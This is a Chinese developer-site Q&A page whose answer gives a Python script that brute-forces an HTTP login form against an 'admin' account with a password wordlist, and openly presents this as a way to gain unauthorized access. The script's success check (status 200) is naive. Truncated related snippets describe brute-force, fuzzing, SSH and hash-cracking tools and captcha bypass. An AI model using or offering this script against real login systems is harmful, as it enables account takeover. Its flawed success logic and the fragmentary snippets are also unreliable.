首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

用python编写一个简单的http登录bruteforcer,在读取wordlist时获得不同的行为。

HTTP登录bruteforcer是一种用于暴力破解HTTP登录凭据的工具。它通过尝试不同的用户名和密码组合来破解登录系统,以获取未经授权访问的权限。下面是一个用Python编写的简单HTTP登录bruteforcer的示例代码:

代码语言:txt
复制
import requests

def bruteforce_login(url, username, wordlist):
    with open(wordlist, 'r') as f:
        for line in f:
            password = line.strip()
            response = requests.post(url, data={'username': username, 'password': password})
            if response.status_code == 200:
                print(f"Login successful - Username: {username}, Password: {password}")
                return
    print("Login failed")

url = 'http://example.com/login'  # 替换为目标登录页面的URL
username = 'admin'  # 替换为目标登录页面的用户名
wordlist = 'passwords.txt'  # 替换为包含密码列表的文件路径

bruteforce_login(url, username, wordlist)

这个简单的HTTP登录bruteforcer使用了Python的requests库来发送POST请求,并通过循环遍历密码列表中的每个密码进行尝试。如果登录成功(HTTP响应状态码为200),则打印出成功的用户名和密码,并结束程序。如果所有密码都尝试完毕后仍未成功登录,则打印出登录失败的消息。

在这个例子中,我们需要提供目标登录页面的URL、用户名和包含密码列表的文件路径。你可以根据实际情况进行替换。

关于读取wordlist时获得不同的行为,你可以进一步说明你希望实现的具体行为,例如按行顺序读取、随机读取、循环读取等。根据不同的需求,可以使用不同的方法来实现。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Urlbuster:一款支持爆破可变异Web目录模糊测试工具

自定义HTTP头 修改POST,PUT和PATCHPayload 使用不同请求方法进行变异 使用不同HTTP头进行变异 使用不同文件扩展名进行变异 使用斜杠进行变异 枚举GET参数值 工具安装...广大研究人员配置好Python和pip环境之后,可以直接使用下列命令安装Urlbuster: pip install urlbuster 工具使用 usage: urlbuster [options]...-w /-W BASE_URL urlbuster -V, --help urlbuster -h, --version URL bruteforcer...https://example.com:10000/ 变异样例 对于某些网站来说,使用某些特殊用户代理情况下,即使调用是相同路径,Web应用程序反应和行为也会不同。...-439d855feabf' \ http://www.domain.tld/ 查找文件 查找站点根目录中文件: $ urlbuster \ -W /path/to/wordlist.txt

99720
  • BruteLoops:协议无关在线密码安全检测API

    BruteLoops针对身份验证接口提供了密码爆破猜解功能,代码库中提供了一个模块化使用示例,并演示了如何使用BruteLoops来实现密码安全解析。...它功能非常齐全,并且提供了多个爆破模块,下面给出是其功能示例: · http.accellion_ftp FTP HTTP接口登录加速模块 · http.basic_digest 通用HTTP...登录Web接口 · http.netwrix Netwrix登录Web接口 · http.okta Okta JSON API · http.owa2010...· 日志记录 工具依赖 BruteLoops工具要求Python 3.7或更高版本Python环境,以及SQLAlchemy 1.3.0,后者可以通过pip工具以及该项目提供requirements.txt...使用该工具,我们可以按照以下步骤来对密码安全测试进行拆分: · 寻找一个需要测试目标服务; · 如果py1中没有存在该目标,则需要构建一个回调; · 搜索某些用户名、密码和凭证信息; · 通过向

    1.1K30

    如何针对 SSH 服务暴力破解

    Python 版 SSH-Brute-Forcer(python 2) 项目地址: git clone https://github.com/d3vilbug/Brutal_SSH 使用之前需要安装一个库...PowerShell 版 SSH-PuTTY-login-bruteforcer 验证 SSH 账户密码使用第三方工具 putty 或者 plink,企业内部,这两款 SSH 连接工具是管理员最常用...,对于我们企业内网进行 SSH 暴力破解,如果有防护软件之类,可以这种方式来规避。.../sshgobrute 代码很简单,方便大家学习扩展,编写属于自己小工具,查看帮助: ?...生成有关系密码字典,说不定有成功突破机会,但是企业内部网络,测试开发机非常多,开发测试运维人员,每日工作多次登录系统,或者认为测试机无关紧要,所以会将密码设置比较简单,也是认为内网不会有人攻击,

    1.4K50

    网站扫描与Fuzz测试之敏感信息收集

    | PentestBox 描述:Python开源CMS扫描,自动检测安全漏洞过程中最受欢迎CMS,CMSmap主要目的是为不同类型cms集成常见漏洞一个单一工具。...简单粗暴功能特点记录: 模块化 框架 可编写插件 接口 可处理BurpSuite所抓请求和响应报文 基础入门 Usage: wfuzz [options] -z payload,params <url...显示或隐藏符合指定filter表达式返回结果 ( BBB 来接收 baseline) --prefilter : 指定filter表达式测试之前过滤某些测试条目...stdin | 获得从标准输入中条目 list | 获得一个列表中一个元素...permutation | 获得一个指定charset和length字符组合 buffer_overflow | 获得一个包含指定个数个

    2K30

    网站扫描与Fuzz测试之敏感信息收集

    WeiyiGeek. (2)CMSmap | PentestBox 描述:Python开源CMS扫描,自动检测安全漏洞过程中最受欢迎CMS,CMSmap主要目的是为不同类型cms集成常见漏洞一个单一工具...简单粗暴功能特点记录: 模块化 框架 可编写插件 接口 可处理BurpSuite所抓请求和响应报文 基础入门 Usage: wfuzz [options] -z payload,params <url...显示或隐藏符合指定filter表达式返回结果 ( BBB 来接收 baseline) --prefilter : 指定filter表达式测试之前过滤某些测试条目...stdin | 获得从标准输入中条目 list | 获得一个列表中一个元素...permutation | 获得一个指定charset和length字符组合 buffer_overflow | 获得一个包含指定个数个

    3.6K10

    初探密码破解工具JTR

    JTR是John The Ripper缩写本身是用来专门破解linux系统用户hash,但现在已经不再那么局限了,它同样也提供了非常多散列类型,虽然,跟hashcat某些方面确实还差了一个量级,...在运行期间会在当前目录产生一个john.pot文件,用来缓存破解数据,主要是用来记录破解进度什么,如果你每次想从头开始破解,直接把这个文件手工删除,然后重新跑即可 rm -fr john.pot...hash,可以逗号分隔多个shell程序 --format 指定要破解hash所对应加密类型,可以不用手工指定,john会自动识别 --stdout 从标准重定中接收指定字符 关于不同破解模式官方介绍...只破解特定shell类型用户hash,如果用户实在比较多,我们只需要破解那些可以登录到系统中用户就好了,伪用户可以暂时不用管: ./john --wordlist=....破解 postgresql 数据库用户hash 如果特意指定散列类型貌似不太好使,让它自动识别就好了,不知道今天什么情况,之前centos7中一直都没问题呀 john --wordlist=weakpass.txt

    3.2K00

    Web安全最后一道防线:细谈Gobuster目录文件VhostDNS子域名暴力破解艺术

    一、前言Gobuster是一款go语言编写对于网站目录/文件、DNS子域、虚拟主机vhost进行暴力穷举开源工具,常用于安全领域,其常用暴力破解模式到目前为止(3.6版本)有如下几种:图片模式...--wordlist-offset int从字典指定位置继续(默认偏移量为0,从第一个开始)。...2.使用cookies(-c|--cookies)gobuster dir -u -w -c 图片相当于拿到登录状态信息,再去枚举URL下目录和文件。...(-X)当要搜索扩展名有多个,可以通过读取扩展名文件,不需要一个个手动指定:gobuster dir -u -X -w 图片9....同时也通过抓包分析了不同场景参数选择上差异和行为

    8.3K7440

    一款能模糊地方都能模糊测试工具——Wfuzz

    wfuzz是一个完全模块化框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单事,通常只需几分钟。...wfuzz是python开发针对web模糊测试工具,该工具实现功能相当于burp爆破模块,可以自定义指定参数进行爆破测试。.../wfuzz/wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ stdin 这个payload可以使用一些外部字典生成工具很方便.../FUZZ/FUZ2ZFUZ3Z 过滤器 对wfuzz结果时行过滤是非常重要: 非常大字典文件可以生成非常庞大输出,并且把我们想要结果淹没 对HTTP响应一些分类实际攻击是非常重要,...| 获得一个指定charset和length字符组合 buffer_overflow | 获得一个包含指定个数个A字符串. hexrange | 获得指定范围内一个hex值 iprange

    1K30

    JavaWeb实验报告2-简易选课系统-编写一个Java Web项目,实现依据Cookie自动登录登录后可以进行课程简单选课和退课。第一次登录页面,需要输入用户名和密码,并可选择一周内不用登录

    目录: 写在开头: 首先上动图: 然后是大家喜欢图片截图: 给大家推荐我自己录制速成课程哈: ---- By CaesarChang 写在开头: 现在是: 2021-4-9 22:50...在这个项目里面因为没让SpringMVC框架,所以这次写了很多个Servlet,如果有框架,我们可以只写一个Servlet就好了. 但凡有点小难度我都会开源哈! 关注我吧!...---- 然后是大家喜欢图片截图: ? ? ? ?...import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.Cookie...; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse

    1.1K70

    专为渗透测试人员设计 Python 工具大合集

    如果你对漏洞挖掘、逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你就是Python编程语言。Python不仅语法简单上手容易,而且它还有大量功能强大库和程序可供我们使用。...在这篇文章中,我们会给大家介绍其中部分工具。 注:本文罗列出来工具绝大部分都是采用Python编写,其中有一小部分还使用了C语言库。...:一款挖洞插件 lIDAPython:IDA Pro插件,整合了Python编程语言,并支持IDA Pro中运行脚本 lPyEMU:支持脚本完整IA-32模拟器,用于恶意软件分析 lpefile:读取并操作...设计一款简单模糊测试工具 lFusil:编写模糊测试程序代码库 Web lRequests:一个简单友好HTTP库 lHTTPie:有好类cURL命令行HTTP客户端 lProxMon:处理代理日志...(Wordlist命令行工具/代码库 其他有用库和工具 lIPython:多功能增强型交互式Python Shell lBeautiful Soup:爬虫可能会用到HTML解析器 lMayavi

    1.3K80

    突破封闭 Web 系统技巧之正面冲锋

    互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试,经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类一个 Web 登录界面的系统链接地址,其它全凭自己造化,去找漏洞吧...图形验证码不刷新或无效手工尝试一次登录后,某一间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次使用同一个验证码来对一个或多个用户帐号进行暴力猜解;登录失败之后,系统会打开一个新页面或者弹出一个警告窗口...简单验证码识别在平常漏洞挖掘过程中,如果我们发现登录验证码非常简单且易于识别,那我们就可以尝试使用自动化工具来进行登录破解了,如 PKAV HTTP Fuzzer、python 调用 tesseract-ocr...,突破主要思路有:1.短信验证码生命期限内可暴力枚举验证码还未过期时间段内,可枚举全部纯四位数字、六位数字等较简单短信验证码;2....除此之外,还有三种较为通用绕过方法:如果 Web 系统实现不当,可枚举所有的6位数字,有几率可以成功登录系统当双因子认证保护Web系统开放密码重置功能,可以尝试去重置密码,重置成功后获得Session

    1.6K111

    【HTB】OpenAdmin

    作为密码,使用 Jimmy 作为用户名 ssh 登录成功 可以看到 main.php 他会输出 joanna .ssh id_rsa 但是当我们去 curl 时候没有输出,可能并不是默认...-l 仅列出有 Listen (监听) 服务状态 -p 显示建立相关链接程序名 -r 显示路由信息,路由表 -e 显示扩展信息,例如uid等 -s 按各个协议进行统计 -c 每隔一个固定时间,执行该...netstat命令 猜测运行在 52846 上,所以 curl http://127.0.0.1:52846/main.php 把这个密钥保存出来: 然后使用: python /usr/share/john...=/usr/share/wordlists/rockyou.txt sshjohn 使用 john 爆破 --wordlist 指定字典 然而这一个并不是 ssh 连接密码,而是使用密钥进行登录密码.../root/root.txt 内容 成功读取: 第一次做 专门选了个评价是最简单那种 然而还是搞懵了

    77140

    web攻击

    书是比较老了,anyway,还是本很好书 本篇是第5章web攻击,包括urllib2库,安装应用,破解目录,破解html表格认证 1、urllib2 编写与web服务交互工具需要urllib2 下面简单看看如何创建一个...print "Spawning thread %d" % i t = threading.Thread(target=test_remote) t.start() 3、破解目录和文件位置 一个简单目录爆破.../all.txt" #这个字典可参考SVNDigger或DirBuster resume = None #作者说用于网络中断,延续上一个尝试字符串,而不用从头开始,这里好像没用到 user_agent...Joomla例子 提交密码前检索token 利用urllib2建立session设置cookie Joomla管理员表单 #!...() 结语 主要是学习web交互一些攻击,利用urllib2 但是由于本书较老,现在已经是urllib3了,对应HTTP1.1 所以实际应用时需要做相应修改 ---- 红客突击队于2019年由队长

    65210

    专为渗透测试人员设计Python工具大合集

    如果你对漏洞挖掘、逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你就是Python编程语言。Python不仅语法简单上手容易,而且它还有大量功能强大库和程序可供我们使用。...在这篇文章中,我们会给大家介绍其中部分工具。 注:本文罗列出来工具绝大部分都是采用Python编写,其中有一小部分还使用了C语言库。...l IDAPython :IDA Pro插件,整合了Python编程语言,并支持IDA Pro中运行脚本 l PyEMU :支持脚本完整IA-32模拟器,用于恶意软件分析 l pefile :读取并操作...设计一款简单模糊测试工具 l Fusil :编写模糊测试程序代码库 Web l Requests :一个简单友好HTTP库 l HTTPie :有好类cURL命令行HTTP客户端 l...l Pandas :可提供高性能数据结构数据分析工具 l pyparsing :通用解析模块 l lxml :采用Python编写功能丰富且易于使用XML和HTML工具 l Whoosh :纯Python

    1.5K70

    突破封闭 Web 系统技巧之正面冲锋

    互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试,经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类一个 Web 登录界面的系统链接地址,其它全凭自己造化,去找漏洞吧...Web 系统进行密码猜解,大部分人喜欢叫密码爆破,因为猜解一个密码,通常需要成千上万条密码来尝试。密码猜解目的是准确、高效获得已知用户正确密码。...图形验证码不刷新或无效 手工尝试一次登录后,某一间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次使用同一个验证码来对一个或多个用户帐号进行暴力猜解; 登录失败之后,系统会打开一个新页面或者弹出一个警告窗口...简单验证码识别 平常漏洞挖掘过程中,如果我们发现登录验证码非常简单且易于识别,那我们就可以尝试使用自动化工具来进行登录破解了,如 PKAV HTTP Fuzzer、python 调用 tesseract-ocr...,突破主要思路有: 1.短信验证码生命期限内可暴力枚举 验证码还未过期时间段内,可枚举全部纯四位数字、六位数字等较简单短信验证码; 2.

    1.2K00

    dirsearch安装和使用

    目录 dirsearch介绍 下载及安装 如何使用 简单用法 递归扫描 线程 前缀/后缀 黑名单 筛选器 原始请求 Wordlist格式 排除扩展 扫描子目录 代理 报告 其他命令 小贴士 选项 选项...强制性 字典设置 一般设置 请求设置 连接设置 配置 dirsearch介绍 dirsearch是一个基于python3命令行工具,常用于暴力扫描页面结构,包括网页中目录和文件。...`–Skip-on-Status 429`将帮助您在返回429跳过目标 -服务器包含会减慢扫描速度大文件?...将自定义后缀添加到所有wordlist条目,忽略目录(逗号分隔) --only-selected 移除路径扩展名与选定不同通过`-...--full-url 输出中完整URL(安静模式) --no-color 无彩色无彩色输出 请求设置 -m METHOD, --http-method

    5.5K21
    领券